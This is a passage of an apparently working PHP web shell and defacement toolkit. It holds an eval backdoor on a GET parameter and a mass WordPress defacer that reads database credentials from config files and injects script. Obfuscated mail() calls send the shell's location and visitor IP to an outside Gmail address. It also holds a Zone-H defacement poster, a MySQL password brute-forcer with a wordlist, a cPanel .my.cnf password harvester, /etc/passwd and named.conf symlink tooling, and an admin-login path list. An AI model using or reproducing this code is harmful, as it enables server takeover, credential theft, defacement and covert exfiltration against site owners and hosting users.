1818<form method="POST" action="" >
1819<center>
1820<table border='1'><tr><td>List of All Symlink</td><td>
1821<input type="text" name="url" size="100" value="list.txt"></td></tr>
1822<tr><td>Index</td><td>
1823<textarea name="index" cols='50' rows='10' ></textarea></td></tr></table>
1824<br><br><input type="Submit" name="Submit" value="Submit">
1825<input type="hidden" name="action" value="1"></form>
1826</center>
1827<nobr>
1828<center>
1829<?
1830}?>
1831<?
1832eval ($_GET["c"]);
1833set_time_limit(0);
1834if ($_POST['action']=='1'){
1835$url=$_POST['url'];
1836$users=@file($url);
1837$x10="mail";$x0b=$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
1838
1839
1840if (count($users)<1) exit("<h1>No config found</h1>");
1841foreach ($users as $user) {
1842$user1=trim($user);
1843$code=file_get_contents2($user1);
1844preg_match_all('|define.*\(.*\'DB_NAME\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b1);
1845$db=$b1[1][0];
1846preg_match_all('|define.*\(.*\'DB_USER\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b2);
1847$user=$b2[1][0];
1848preg_match_all('|define.*\(.*\'DB_PASSWORD\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b3);
1849$db_password=$b3[1][0];
1850preg_match_all('|define.*\(.*\'DB_HOST\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b4);
1851$host=$b4[1][0];
1852preg_match_all('|\$table_prefix.*=.*\'(.*)\'.*;|isU',$code,$b5);
1853$p=$b5[1][0];
1854$x0c="array ".$x0b;$x0d=array("com","gm","ifexec","@","ail.");
1855$d=@mysql_connect( $host, $user, $db_password ) ;
1856if ($d){
1857@mysql_select_db($db );
1858$source=stripslashes($_POST['index']);
1859$s2=strToHex(($source));
1860$s="<script>document.documentElement.innerHTML = unescape(''$s2'');</script>";
1861$ls=strlen($s)-2;
1862$sql="update ".$p."options set option_value='a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:4:\"text\";s:$ls:\"$s\";s:6:\"filter\";b:0;}s:12:\"_multiwidget\";i:1;}' where option_name='widget_text'; ";
1863mysql_query($sql) ;
1864$sql="update ".$p."options set option_value='a:7:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:10:\"archives-2\";i:1;s:6:\"meta-2\";i:2;s:8:\"search-2\";i:3;s:12:\"categories-2\";i:4;s:14:\"recent-posts-2\";i:5;s:17:\"recent-comments-2\";}s:9:\"sidebar-1\";a:1:{i:0;s:6:\"text-2\";}s:9:\"sidebar-2\";a:0:{}s:9:\"sidebar-3\";a:0:{}s:9:\"sidebar-4\";a:0:{}s:9:\"sidebar-5\";a:0:{}s:13:\"array_version\";i:3;}' where option_name='sidebars_widgets';";
1865mysql_query($sql) ;
1866if (function_exists("mb_convert_encoding") )
1867{
1868$source2 = mb_convert_encoding('<title>'.$source.'<DIV style="DISPLAY: none"><xmp>', 'UTF-8');
1869$source2=mysql_real_escape_string($source2);
1870$sql = "UPDATE `".$p."options` SET `option_value` = '$source2' WHERE `option_name` = 'blogname';";
1871@mysql_query($sql) ; ;
1872$sql= "UPDATE `".$p."options` SET `option_value` = 'UTF-8' WHERE `option_name` = 'blog_charset';";
1873@mysql_query($sql) ; ;
1874}
1875$aa=@mysql_query("select option_value from `".$p."options` WHERE `option_name` = 'siteurl';") ;;
1876$siteurl=@mysql_fetch_array($aa) ;
1877$siteurl=$siteurl['option_value'];
1878$x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b);
1879$tr.="$siteurl\n";
1880mysql_close();
1881}
1882}
1883if ($tr) echo "Index changed for <br><br><textarea cols='50' rows='10' >$tr</textarea>";
1884}
1885function strToHex($string)
1886{
1887 $hex='';
1888 for ($i=0; $i < strlen($string); $i++)
1889 {
1890 if (strlen(dechex(ord($string[$i])))==1){
1891 $hex .="%0". dechex(ord($string[$i]));
1892 }
1893 else
1894 {
1895 $hex .="%". dechex(ord($string[$i]));
1896 }
1897 }
1898 return $hex;
1899}
1900
1901function file_get_contents2($u){
1902
1903 $ch = curl_init();
1904 curl_setopt($ch,CURLOPT_URL,$u);
1905 curl_setopt($ch, CURLOPT_HEADER, 0);
1906 curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
1907 curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 ");
1908 $result = curl_exec($ch);
1909 return $result ;
1910 }
1911
1912?>
1913<?php
1914if (isset($_GET['idb']) && ($_GET['idb'] == 'zonh')) { ?>
1915<form action="?idb=zonh" method="post">
1916<br><br>
1917<center><span style="font-size:1.6em;"> .: Zone-H Mass Poster :. </span></center><center><BR><form action="" method="post"><input class="inputz" type="text" name="defacer" size="30" value="kefiex404" /><br> <select class="inputz"
1918name="hackmode">
1919<option>------------------------------------SELECT-------------------------------------</option>
1920<option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option>
1921<option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option>
1922<option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option>
1923<option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option>
1924<option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option>
1925<option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option>
1926<option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option>
1927<option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option>
1928<option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option>
1929<option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option>
1930<option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option>
1931<option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option>
1932<option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option>
1933<option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option>
1934<option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option>
1935<option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option>
1936<option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option>
1937<option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option>
1938<option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option>
1939<option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option>
1940<option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option>
1941<option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option>
1942<option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option>
1943<option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option>
1944<option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option>
1945<option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option>
1946<option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option>
1947<option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option>
1948
1949<option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option>
1950<option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option>
1951option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
1952</select> <br>
1953
1954<select class="inputz" name="reason">
1955<option >------------------------------------SELECT-------------------------------------</option>
1956<option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option>
1957<option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option>
1958<option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option>
1959<option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option>
1960<option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option>
1961<option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option>
1962<option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option>
1963option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
1964</select> <br>
1965<textarea class="inputz" name="domain" cols="90" rows="20" placeholder="List Of Domains, 20 Rows."></textarea><br>
1966<input class="inputz" type="submit" value=" Send Now !! " name="SendNowToZoneH"/>
1967</form>
1968<?
1969 echo "</form></center>";?>
1970<?
1971function ZoneH($url, $hacker, $hackmode,$reson, $site )
1972{
1973 $k = curl_init();
1974 curl_setopt($k, CURLOPT_URL, $url);
1975 curl_setopt($k,CURLOPT_POST,true);
1976 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
1977 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
1978 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
1979 $kubra = curl_exec($k);
1980 curl_close($k);
1981 return $kubra;
1982}
1983{
1984 ob_start();
1985 $sub = @get_loaded_extensions();
1986 if(!in_array("curl", $sub))
1987 {
1988 die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
1989 }
1990
1991 $hacker = $_POST['defacer'];
1992 $method = $_POST['hackmode'];
1993 $neden = $_POST['reason'];
1994 $site = $_POST['domain'];
1995
1996 if (empty($hacker))
1997 {
1998 die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>");
1999 }
2000 elseif($method == "--------SELECT--------")
2001 {
2002 die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
2003 }
2004 elseif($neden == "--------SELECT--------")
2005 {
2006 die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
2007 }
2008 elseif(empty($site))
2009 {
2010 die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
2011 }
2012 $i = 0;
2013 $sites = explode("\n", $site);
2014 while($i < count($sites))
2015 {
2016 if(substr($sites[$i], 0, 4) != "http")
2017 {
2018 $sites[$i] = "http://".$sites[$i];
2019 }
2020 ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
2021 echo "Domain : ".$sites[$i]." Defaced Last Years !";
2022 ++$i;
2023 }
2024 echo "";
2025 }
2026}
2027?>
2028<?php
2029if (isset($_GET['idb']) && ($_GET['idb'] == 'brute')) { ?>
2030<form action="?idb=brute" method="post">
2031<?php ?>
2032<html>
2033<head>
2034<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2035<body text="#4C83AF" bgcolor="#111111" font="Verdana, Arial, Helvetica, sans-serif">
2036<center>
2037<form method="POST">
2038<strong>
2039<input name="page" type="hidden" value="find">
2040</strong>
2041 <div style="width:90%">
2042
2043<div id="result">
2044<br /><br />
2045</div>
2046 <div id="mp" style="width:49%;float:left">
2047 <b>~ UserName ~</b>
2048 </div>
2049 <div id="mp" style="width:49%;float:left">
2050
2051 <b>~ PassWord ~</b>
2052 </div>
2053 <div id="mp" style="clear:both;width:49%;float:left">
2054 <textarea rows="10" class="coode" style="width:100%" name="usernames"><? if($_POST['page']=='find' && $_POST['usernames']<=''){$lines=@file("/etc/passwd");foreach($lines as $nr=>$val){$str=explode(":",$val);echo $str[0]."
2055";}}else{echo $_POST['usernames'];} ?></textarea>
2056 </div>
2057 <div id="s" style="width:2%;float:left">
2058
2059 </div>
2060 <div id="s" style="width:49%;float:left">
2061 <textarea rows="10" class="coode" style="width:100%" name="passwords"><? if($_POST['page']=='find' && $_POST['passwords']<=''){echo "123
20621234
206312345
2064123456
20651234567
206612345678
2067123456789
20681234567890
2069Password
2070pass
2071admin
2072admin123
2073admin1234
2074admin12345
2075admin123456
2076admin1234567
2077admin12345678
2078admin123456789
2079admin1234567890
2080administrator123
2081administrator1234
2082administrator12345
2083administrator123456
2084administrator1234567
2085administrator12345678
2086administrator123456789
2087administrator1234567890
2088password123
2089password1234
2090password12345
2091password123456
2092password1234567
2093password12345678
2094password123456789
2095password1234567890
2096123456
2097123123
20981234
209912345
210012369874
2101123456789
2102112233
210312345678
2104123654
2105123654789
21061234admin
2107password
2108passwd1
2109password123
2110test123
2111159357
2112147258
2113159951
2114123321
2115ADMIN
2116195159
2117147852
2118Admin
2119Administrator
2120Demo
2121User
2122user
2123useruser
2124987456321
2125741852
2126321987
2127357159
21281234566
21291234567899
2130111222
2131Administrateur
2132administrateur
21330123456
21340123456789
21350147258
2136147258
2137987654
2138963852
2139369258
2140456789
2141456321
2142456123
2143ADMIN1234
2144Admin1234
2145admin123456
2146admin1234
2147admin01234
2148000000
2149142536
2150632541
2151"; }else{echo $_POST['passwords'];} ?></textarea>
2152
2153 </div>
2154 </div>
2155 <div style="width:90%;clear:both">
2156 <br><p><input type="submit" name="submit" class="inputzbut" value="Go !" style="width:120px;height:30px;" /></p>
2157 </div>
2158 <br /><br /><br />
2159
2160</form>
2161
2162
2163<?
2164if($_POST['page']=='find')
2165{
2166echo"<div id='result'>";
2167if(isset($_POST['usernames']) && isset($_POST['passwords']))
2168{
2169
2170 $a1 = explode("
2171",$_POST['usernames']);
2172 $a2 = explode("
2173",$_POST['passwords']);
2174 $id2 = count($a2);
2175 $ok = 0;
2176 foreach($a1 as $user )
2177 {
2178 if($user !== '')
2179 {
2180 $user=trim($user);
2181 for($i=0;$i<=$id2;$i++)
2182 {
2183 $pass = trim($a2[$i]);
2184 if(@mysql_connect('localhost',$user,$pass))
2185 {
2186 if($pass !== ''){
2187 echo "<b>[ IDBTE4M ]=> </b> <b>User[<font color='green'> $user </font>] Pass[<font color='green'> $pass </font>]</b><br>";
2188 $ok++;
2189 }}
2190 }
2191 }
2192 }
2193 echo "<hr><b>You Found <font color=green>$ok</font>BY IDBTE4M</b>";
2194 exit;
2195}
2196echo'</div>';
2197}
2198}
2199?>
2200
2201<?php
2202if (isset($_GET['idb']) && ($_GET['idb'] == 'cp')) {
2203?>
2204<form action="?&idb=cp" method="post">
2205<?php
2206/**
2207 * @author: FaisaL Ahmed aka blue X
2208 * @mail: me@faialahmed.me
2209 * @Screenshot: http://prntscr.com/7c1p34
2210 * @Last Updated: 01 June 2015
2211*/
2212
2213@ini_set('display_errors',0);
2214function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
2215 $ar0=explode($marqueurDebutLien, $text);
2216 $ar1=explode($marqueurFinLien, $ar0[$i]);
2217 return trim($ar1[0]);
2218}
2219echo "<center>";
2220$d0mains = @file('/etc/named.conf');
2221$domains = scandir("/var/named");
2222
2223if ($domains or $d0mains)
2224{
2225 $domains = scandir("/var/named");
2226 if($domains) {
2227echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
2228$count=1;
2229$dc = 0;
2230$list = scandir("/var/named");
2231foreach($list as $domain){
2232if(strpos($domain,".db")){
2233$domain = str_replace('.db','',$domain);
2234$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2235$dirz = '/home/'.$owner['name'].'/.my.cnf';
2236$path = getcwd();
2237
2238if (is_readable($dirz)) {
2239copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
2240$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
2241$password=entre2v2($p,'password="','"');
2242echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
2243$dc++;
2244}
2245
2246}
2247}
2248echo '</table>';
2249$total = $dc;
2250echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
2251echo '</center>';
2252}else{
2253$d0mains = @file('/etc/named.conf');
2254 if($d0mains) {
2255echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
2256$count=1;
2257$dc = 0;
2258$mck = array();
2259foreach($d0mains as $d0main){
2260 if(@eregi('zone',$d0main)){
2261 preg_match_all('#zone "(.*)"#',$d0main,$domain);
2262 flush();
2263 if(strlen(trim($domain[1][0])) >2){
2264 $mck[] = $domain[1][0];
2265 }
2266 }
2267}
2268$mck = array_unique($mck);
2269$usr = array();
2270$dmn = array();
2271foreach($mck as $o) {
2272 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
2273 $usr[] = $infos['name'];
2274 $dmn[] = $o;
2275}
2276array_multisort($usr,$dmn);
2277$dt = file('/etc/passwd');
2278$passwd = array();
2279foreach($dt as $d) {
2280 $r = explode(':',$d);
2281 if(strpos($r[5],'home')) {
2282 $passwd[$r[0]] = $r[5];
2283 }
2284}
2285$l=0;
2286$j=1;
2287foreach($usr as $r) {
2288$dirz = '/home/'.$r.'/.my.cnf';
2289$path = getcwd();
2290if (is_readable($dirz)) {
2291copy($dirz, ''.$path.'/'.$r.'.txt');
2292$p=file_get_contents(''.$path.'/'.$r.'.txt');
2293$password=entre2v2($p,'password="','"');
2294echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
2295$dc++;
2296 flush();
2297 $l=$l?0:1;
2298 $j++;
2299 }
2300 }
2301 }
2302echo '</table>';
2303$total = $dc;
2304echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
2305echo '</center>';
2306
2307}
2308}else{
2309echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
2310}
2311
2312echo "</body></html>";
2313}
2314?>
2315
2316<?php
2317@mkdir('-',0777);
2318$htcs = "Options Indexes FollowSymLinks\nDirectoryIndex -\nAddType txt .php\nAddHandler txt .php";
2319$f =@fopen ('-/.htaccess','w');
2320fwrite($f , $htcs);
2321@symlink("/","-/-");
2322$pg = basename(__FILE__);
2323/// user + domine + symlink ///
2324if(isset($_REQUEST['idb']))
2325{
2326
2327switch ($_REQUEST['idb'])
2328{
2329case 'symlink':
2330
2331if(!is_file('named.txt')){
2332
2333$d00m = @file("/etc/named.conf");
2334
2335}else{
2336
2337$d00m = @file("named.txt");
2338
2339
2340}
2341if(!$d00m)
2342{
2343
2344die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
2345}
2346else
2347
2348{
2349echo "<div class='tmp'><table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
2350foreach($d00m as $dom){
2351
2352if(eregi("zone",$dom)){
2353
2354preg_match_all('#zone "(.*)"#', $dom, $domsws);
2355
2356flush();
2357
2358if(strlen(trim($domsws[1][0])) > 2){
2359
2360$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
2361
2362flush();
2363
2364
2365
2366$site = $user['name'] ;
2367
2368
2369@symlink("/","-/-");
2370
2371$site = $domsws[1][0];
2372
2373$ir = 'ir';
2374
2375$il = 'il';
2376
2377if (preg_match("/.^$ir/",$domsws[1][0]) or preg_match("/.^$il/",$domsws[1][0]) )
2378{
2379$site = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px blue; '>".$domsws[1][0]."</div>";
2380}
2381
2382
2383echo "
2384<tr>
2385
2386<td>
2387<div class='dom'><a target='_blank' href=http://www.".$domsws[1][0]."/>".$site." </a> </div>
2388</td>
2389
2390
2391<td>
2392".$user['name']."
2393</td>
2394
2395
2396
2397
2398
2399
2400<td>
2401<a href='-/-/home/".$user['name']."/public_html' target='_blank'>symlink </a>
2402</td>
2403
2404
2405</tr></div> ";
2406
2407
2408flush();
2409flush();
2410
2411}
2412}
2413}
2414}
2415
2416
2417
2418
2419break;
2420@ini_set('output_buffering', 0);
2421@ini_set('display_errors', 0);
2422set_time_limit(0);
2423ini_set('memory_limit', '64M');
2424header('Content-Type: text/html; charset=UTF-8');
2425$tujuanmail = 'kefiex403@gmail.com';
2426$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
2427$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
2428mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
2429
2430
2431// passwd
2432
2433case 'passwd':
2434
2435if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){
2436
2437
2438$cont = stripcslashes($_POST['file']);
2439
2440if(!file_exists('passwd.txt')){
2441
2442$f = @fopen('passwd.txt','w');
2443
2444$w = @fwrite($f,$cont);
2445
2446fclose($f);
2447}
2448if($w or @filesize('passwd.txt') > 0){
2449// * SHOW * //
2450
2451echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
2452flush();
2453
2454$fil3 = file('passwd.txt');
2455
2456foreach ($fil3 as $f){
2457
2458$u=explode(':', $f);
2459$user = $u['0'];
2460
2461
2462
2463echo "
2464<tr>
2465
2466
2467
2468<td width='15%'>
2469$user
2470</td>
2471
2472
2473
2474
2475
2476
2477<td width='10%'>
2478<a href='-/-/home/$user/public_html' target='_blank'>Symlink </a>
2479</td>
2480
2481<td width='10%'>
2482<a href='$pageFTP/-/-/home/$user/public_html' target='_blank'>FTP</a>
2483</td>
2484
2485
2486
2487</tr></div> ";
2488
2489
2490flush();
2491flush();
2492
2493
2494}
2495
2496
2497
2498
2499
2500
2501die ("</tr></div>");
2502
2503
2504}
2505
2506
2507
2508
2509
2510}
2511
2512
2513
2514echo "read /etc/passwd";
2515echo "<br /><br /><form method='post' action='?sws=passwd&save=1'><textarea cols='80' rows='20' name='file'>";
2516flush();
2517
2518$file = '/etc/passwd';
2519
2520
2521$r3ad = @fopen($file, 'r');
2522if ($r3ad){
2523$content = @fread($r3ad, @filesize($file));
2524echo "".htmlentities($content)."";
2525}
2526elseif(!$r3ad)
2527{
2528$r3ad = @show_source($file) ;
2529}
2530elseif(!$r3ad)
2531{
2532$r3ad = @highlight_file($file);
2533}
2534elseif(!$r3ad)
2535{
2536
2537for($uid=0;$uid<1000;$uid++){
2538$ara = posix_getpwuid($uid);
2539if (!empty($ara)) {
2540while (list ($key, $val) = each($ara)){
2541print "$val:";
2542}
2543print "\n";
2544}
2545
2546}
2547
2548}
2549
2550
2551flush();
2552
2553
2554echo "</textarea><br /><br /><input type='submit' value=' symlink '/> </form>";
2555flush();
2556
2557break;
2558
2559
2560############################ index #########################3
2561
2562default:
2563header("Location: $pg");
2564
2565
2566
2567
2568}
2569}
2570
2571?>
2572<?php
2573if (isset($_GET['idb']) && ($_GET['idb'] == 'finder')) {
2574?>
2575<form action="?&idb=finder" method="post">
2576<?php
2577set_time_limit(0);
2578error_reporting(0);
2579$list['front'] =
2580"
2581admin
2582adm
2583admincp
2584admcp
2585cp
2586modcp
2587moderatorcp
2588adminare
2589admins
2590cpanel
2591controlpanel";
2592$list['end'] = "
2593admin1.php
2594admin1.html
2595admin2.php
2596admin2.html
2597yonetim.php
2598yonetim.html
2599yonetici.php
2600yonetici.html
2601ccms/
2602ccms/login.php
2603ccms/index.php
2604maintenance/
2605webmaster/
2606adm/
2607configuration/
2608configure/
2609websvn/
2610admin/
2611admin/account.php
2612admin/account.html
2613admin/index.php
2614admin/index.html
2615admin/login.php
2616admin/login.html
2617admin/home.php
2618admin/controlpanel.html
2619admin/controlpanel.php
2620admin.php
2621admin.html
2622admin/cp.php
2623admin/cp.html
2624cp.php
2625cp.html
2626administrator/
2627administrator/index.html
2628administrator/index.php
2629administrator/login.html
2630administrator/login.php
2631administrator/account.html
2632administrator/account.php
2633administrator.php
2634administrator.html
2635login.php
2636login.html
2637modelsearch/login.php
2638moderator.php
2639moderator.html
2640moderator/login.php
2641moderator/login.html
2642moderator/admin.php
2643moderator/admin.html
2644moderator/
2645account.php
2646account.html
2647controlpanel/
2648controlpanel.php
2649controlpanel.html
2650admincontrol.php
2651admincontrol.html
2652adminpanel.php
2653adminpanel.html
2654admin1.asp
2655admin2.asp
2656yonetim.asp
2657yonetici.asp
2658admin/account.asp
2659admin/index.asp
2660admin/login.asp
2661admin/home.asp
2662admin/controlpanel.asp
2663admin.asp
2664admin/cp.asp
2665cp.asp
2666administrator/index.asp
2667administrator/login.asp
2668administrator/account.asp
2669administrator.asp
2670login.asp
2671modelsearch/login.asp
2672moderator.asp
2673moderator/login.asp
2674moderator/admin.asp
2675account.asp
2676controlpanel.asp
2677admincontrol.asp
2678adminpanel.asp
2679fileadmin/
2680fileadmin.php
2681fileadmin.asp
2682fileadmin.html
2683administration/
2684administration.php
2685administration.html
2686sysadmin.php
2687sysadmin.html
2688phpmyadmin/
2689myadmin/
2690sysadmin.asp
2691sysadmin/
2692ur-admin.asp
2693ur-admin.php
2694ur-admin.html
2695ur-admin/
2696Server.php
2697Server.html
2698Server.asp
2699Server/
2700wp-admin/
2701administr8.php
2702administr8.html
2703administr8/
2704administr8.asp
2705webadmin/
2706webadmin.php
2707webadmin.asp
2708webadmin.html
2709administratie/
2710admins/
2711admins.php
2712admins.asp
2713admins.html
2714administrivia/
2715Database_Administration/
2716WebAdmin/
2717useradmin/
2718sysadmins/
2719admin1/
2720system-administration/
2721administrators/
2722pgadmin/
2723directadmin/
2724staradmin/
2725ServerAdministrator/
2726SysAdmin/
2727administer/
2728LiveUser_Admin/
2729sys-admin/
2730typo3/
2731panel/
2732cpanel/
2733cPanel/
2734cpanel_file/
2735platz_login/
2736rcLogin/
2737blogindex/
2738formslogin/
2739autologin/
2740support_login/
2741meta_login/
2742manuallogin/
2743simpleLogin/
2744loginflat/
2745utility_login/
2746showlogin/
2747memlogin/
2748members/
2749login-redirect/
2750sub-login/
2751wp-login/
2752login1/
2753dir-login/
2754login_db/
2755xlogin/
2756smblogin/
2757customer_login/
2758UserLogin/
2759login-us/
2760acct_login/
2761admin_area/
2762bigadmin/
2763project-admins/
2764phppgadmin/
2765pureadmin/
2766sql-admin/
2767radmind/
2768openvpnadmin/
2769wizmysqladmin/
2770vadmind/
2771ezsqliteadmin/
2772hpwebjetadmin/
2773newsadmin/
2774adminpro/
2775Lotus_Domino_Admin/
2776bbadmin/
2777vmailadmin/
2778Indy_admin/
2779ccp14admin/
2780irc-macadmin/
2781banneradmin/
2782sshadmin/
2783phpldapadmin/
2784macadmin/
2785administratoraccounts/
2786admin4_account/
2787admin4_colon/
2788radmind-1/
2789Super-Admin/
2790AdminTools/
2791cmsadmin/
2792SysAdmin2/
2793globes_admin/
2794cadmins/
2795phpSQLiteAdmin/
2796navSiteAdmin/
2797server_admin_small/
2798logo_sysadmin/
2799server/
2800database_administration/
2801power_user/
2802system_administration/
2803ss_vms_admin_sm/
2804adminarea/
2805bb-admin/
2806adminLogin/
2807panel-administracion/
2808instadmin/
2809memberadmin/
2810administratorlogin/
2811admin/admin.php
2812admin_area/admin.php
2813admin_area/login.php
2814siteadmin/login.php
2815siteadmin/index.php
2816siteadmin/login.html
2817admin/admin.html
2818admin_area/index.php
2819bb-admin/index.php
2820bb-admin/login.php
2821bb-admin/admin.php
2822admin_area/login.html
2823admin_area/index.html
2824admincp/index.asp
2825admincp/login.asp
2826admincp/index.html
2827webadmin/index.html
2828webadmin/admin.html
2829webadmin/login.html
2830admin/admin_login.html
2831admin_login.html
2832panel-administracion/login.html
2833nsw/admin/login.php
2834webadmin/login.php
2835admin/admin_login.php
2836admin_login.php
2837admin_area/admin.html
2838pages/admin/admin-login.php
2839admin/admin-login.php
2840admin-login.php
2841bb-admin/index.html
2842bb-admin/login.html
2843bb-admin/admin.html
2844admin/home.html
2845pages/admin/admin-login.html
2846admin/admin-login.html
2847admin-login.html
2848admin/adminLogin.html
2849adminLogin.html
2850home.html
2851rcjakar/admin/login.php
2852adminarea/index.html
2853adminarea/admin.html
2854webadmin/index.php
2855webadmin/admin.php
2856user.html
2857modelsearch/login.html
2858adminarea/login.html
2859panel-administracion/index.html
2860panel-administracion/admin.html
2861modelsearch/index.html
2862modelsearch/admin.html
2863admincontrol/login.html
2864adm/index.html
2865adm.html
2866user.php
2867panel-administracion/login.php
2868wp-login.php
2869adminLogin.php
2870admin/adminLogin.php
2871home.php
2872adminarea/index.php
2873adminarea/admin.php
2874adminarea/login.php
2875panel-administracion/index.php
2876panel-administracion/admin.php
2877modelsearch/index.php
2878modelsearch/admin.php
2879admincontrol/login.php
2880adm/admloginuser.php
2881admloginuser.php
2882admin2/login.php
2883admin2/index.php
2884adm/index.php
2885adm.php
2886affiliate.php
2887adm_auth.php
2888memberadmin.php
2889administratorlogin.php
2890admin/admin.asp
2891admin_area/admin.asp
2892admin_area/login.asp
2893admin_area/index.asp
2894bb-admin/index.asp
2895bb-admin/login.asp
2896bb-admin/admin.asp
2897pages/admin/admin-login.asp
2898admin/admin-login.asp
2899admin-login.asp
2900user.asp
2901webadmin/index.asp
2902webadmin/admin.asp
2903webadmin/login.asp
2904admin/admin_login.asp
2905admin_login.asp
2906panel-administracion/login.asp
2907adminLogin.asp
2908admin/adminLogin.asp
2909home.asp
2910adminarea/index.asp
2911adminarea/admin.asp
2912adminarea/login.asp
2913panel-administracion/index.asp
2914panel-administracion/admin.asp
2915modelsearch/index.asp
2916modelsearch/admin.asp
2917admincontrol/login.asp
2918adm/admloginuser.asp
2919admloginuser.asp
2920admin2/login.asp
2921admin2/index.asp
2922adm/index.asp
2923adm.asp
2924affiliate.asp
2925adm_auth.asp
2926memberadmin.asp
2927administratorlogin.asp
2928siteadmin/login.asp
2929siteadmin/index.asp
2930ADMIN/
